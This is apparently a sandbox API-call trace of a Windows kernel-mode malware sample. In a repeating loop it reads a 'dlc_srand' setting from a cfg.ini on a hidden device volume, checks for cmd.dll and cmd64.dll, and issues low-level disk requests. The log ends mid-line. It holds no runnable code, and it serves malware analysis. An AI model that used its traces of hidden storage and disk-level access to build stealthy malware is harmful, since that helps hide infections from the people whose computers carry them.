[0116.685] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.685] IdePortDispatch () returned 0x103 [0116.685] KeWaitForMutexObject () returned 0x0 [0116.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.685] KeLeaveCriticalRegion () [0116.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.685] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.685] KeEnterCriticalRegion () [0116.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.685] KeLeaveCriticalRegion () [0116.685] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.686] KeEnterCriticalRegion () [0116.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.686] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.686] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80035bef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.686] KeLeaveCriticalRegion () [0116.686] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.686] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.686] KeEnterCriticalRegion () [0116.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.686] ExFreePoolWithTag (P=0xfffffa80039d7600, Tag=0x0) [0116.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.686] KeLeaveCriticalRegion () [0116.686] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.686] ReleaseMutex (hMutex=0xf0) returned 1 [0116.686] Sleep (dwMilliseconds=0x124f80) [0116.704] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.704] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.704] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.704] KeEnterCriticalRegion () [0116.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.704] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0116.704] IdePortDispatch () returned 0x103 [0116.704] KeWaitForMutexObject () returned 0x0 [0116.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.705] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.705] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.705] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.705] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.705] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aae480 [0116.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.705] KeLeaveCriticalRegion () [0116.705] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.705] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.705] KeEnterCriticalRegion () [0116.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.705] KeLeaveCriticalRegion () [0116.705] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.705] KeEnterCriticalRegion () [0116.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.705] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0116.705] IdePortDispatch () returned 0x103 [0116.705] KeWaitForMutexObject () returned 0x0 [0116.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.705] KeLeaveCriticalRegion () [0116.705] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.705] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.705] KeEnterCriticalRegion () [0116.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.705] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003522000 [0116.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.706] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.706] IdePortDispatch () returned 0x103 [0116.706] KeWaitForMutexObject () returned 0x0 [0116.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.706] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.706] IdePortDispatch () returned 0x103 [0116.706] KeWaitForMutexObject () returned 0x0 [0116.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.706] KeLeaveCriticalRegion () [0116.706] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.707] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.707] KeEnterCriticalRegion () [0116.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.707] KeLeaveCriticalRegion () [0116.707] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.707] KeEnterCriticalRegion () [0116.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.707] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.707] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80035bef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.707] KeLeaveCriticalRegion () [0116.707] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.707] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.707] KeEnterCriticalRegion () [0116.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.707] ExFreePoolWithTag (P=0xfffffa8003aae480, Tag=0x0) [0116.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.707] KeLeaveCriticalRegion () [0116.707] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.707] ReleaseMutex (hMutex=0xf0) returned 1 [0116.707] Sleep (dwMilliseconds=0x124f80) [0116.787] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.787] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.787] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.787] KeEnterCriticalRegion () [0116.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.787] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0116.787] IdePortDispatch () returned 0x103 [0116.788] KeWaitForMutexObject () returned 0x0 [0116.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.788] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.788] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.788] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.788] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.788] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aae440 [0116.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.788] KeLeaveCriticalRegion () [0116.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.788] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.788] KeEnterCriticalRegion () [0116.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.788] KeLeaveCriticalRegion () [0116.788] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.788] KeEnterCriticalRegion () [0116.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.788] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0116.788] IdePortDispatch () returned 0x103 [0116.789] KeWaitForMutexObject () returned 0x0 [0116.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.789] KeLeaveCriticalRegion () [0116.789] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.789] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.789] KeEnterCriticalRegion () [0116.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d8000 [0116.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.790] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.790] IdePortDispatch () returned 0x103 [0116.790] KeWaitForMutexObject () returned 0x0 [0116.790] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.790] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.790] IdePortDispatch () returned 0x103 [0116.790] KeWaitForMutexObject () returned 0x0 [0116.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.790] KeLeaveCriticalRegion () [0116.790] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.791] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.791] KeEnterCriticalRegion () [0116.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.791] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.791] KeLeaveCriticalRegion () [0116.791] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.791] KeEnterCriticalRegion () [0116.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.791] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.791] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b29180, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.791] KeLeaveCriticalRegion () [0116.791] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.791] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.791] KeEnterCriticalRegion () [0116.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.791] ExFreePoolWithTag (P=0xfffffa8003aae440, Tag=0x0) [0116.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.791] KeLeaveCriticalRegion () [0116.791] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.791] ReleaseMutex (hMutex=0xf0) returned 1 [0116.791] Sleep (dwMilliseconds=0x124f80) [0116.806] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.806] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.806] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.806] KeEnterCriticalRegion () [0116.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.806] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0116.806] IdePortDispatch () returned 0x103 [0116.806] KeWaitForMutexObject () returned 0x0 [0116.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.806] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.806] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.806] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.806] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.806] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aaed60 [0116.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.806] KeLeaveCriticalRegion () [0116.806] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.806] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.806] KeEnterCriticalRegion () [0116.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.806] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.806] KeLeaveCriticalRegion () [0116.806] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.806] KeEnterCriticalRegion () [0116.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.806] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0116.806] IdePortDispatch () returned 0x103 [0116.806] KeWaitForMutexObject () returned 0x0 [0116.807] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.807] KeLeaveCriticalRegion () [0116.807] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.807] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.807] KeEnterCriticalRegion () [0116.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035dd000 [0116.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.807] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.807] IdePortDispatch () returned 0x103 [0116.807] KeWaitForMutexObject () returned 0x0 [0116.807] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.807] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.807] IdePortDispatch () returned 0x103 [0116.807] KeWaitForMutexObject () returned 0x0 [0116.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.807] KeLeaveCriticalRegion () [0116.808] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.808] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.808] KeEnterCriticalRegion () [0116.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.808] KeLeaveCriticalRegion () [0116.808] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.808] KeEnterCriticalRegion () [0116.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.808] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.808] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80081efdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.808] KeLeaveCriticalRegion () [0116.808] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.808] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.808] KeEnterCriticalRegion () [0116.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.808] ExFreePoolWithTag (P=0xfffffa8003aaed60, Tag=0x0) [0116.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.808] KeLeaveCriticalRegion () [0116.808] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.808] ReleaseMutex (hMutex=0xf0) returned 1 [0116.808] Sleep (dwMilliseconds=0x124f80) [0116.878] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.878] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.878] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.878] KeEnterCriticalRegion () [0116.878] ExAcquireFastMutexUnsafe (in: 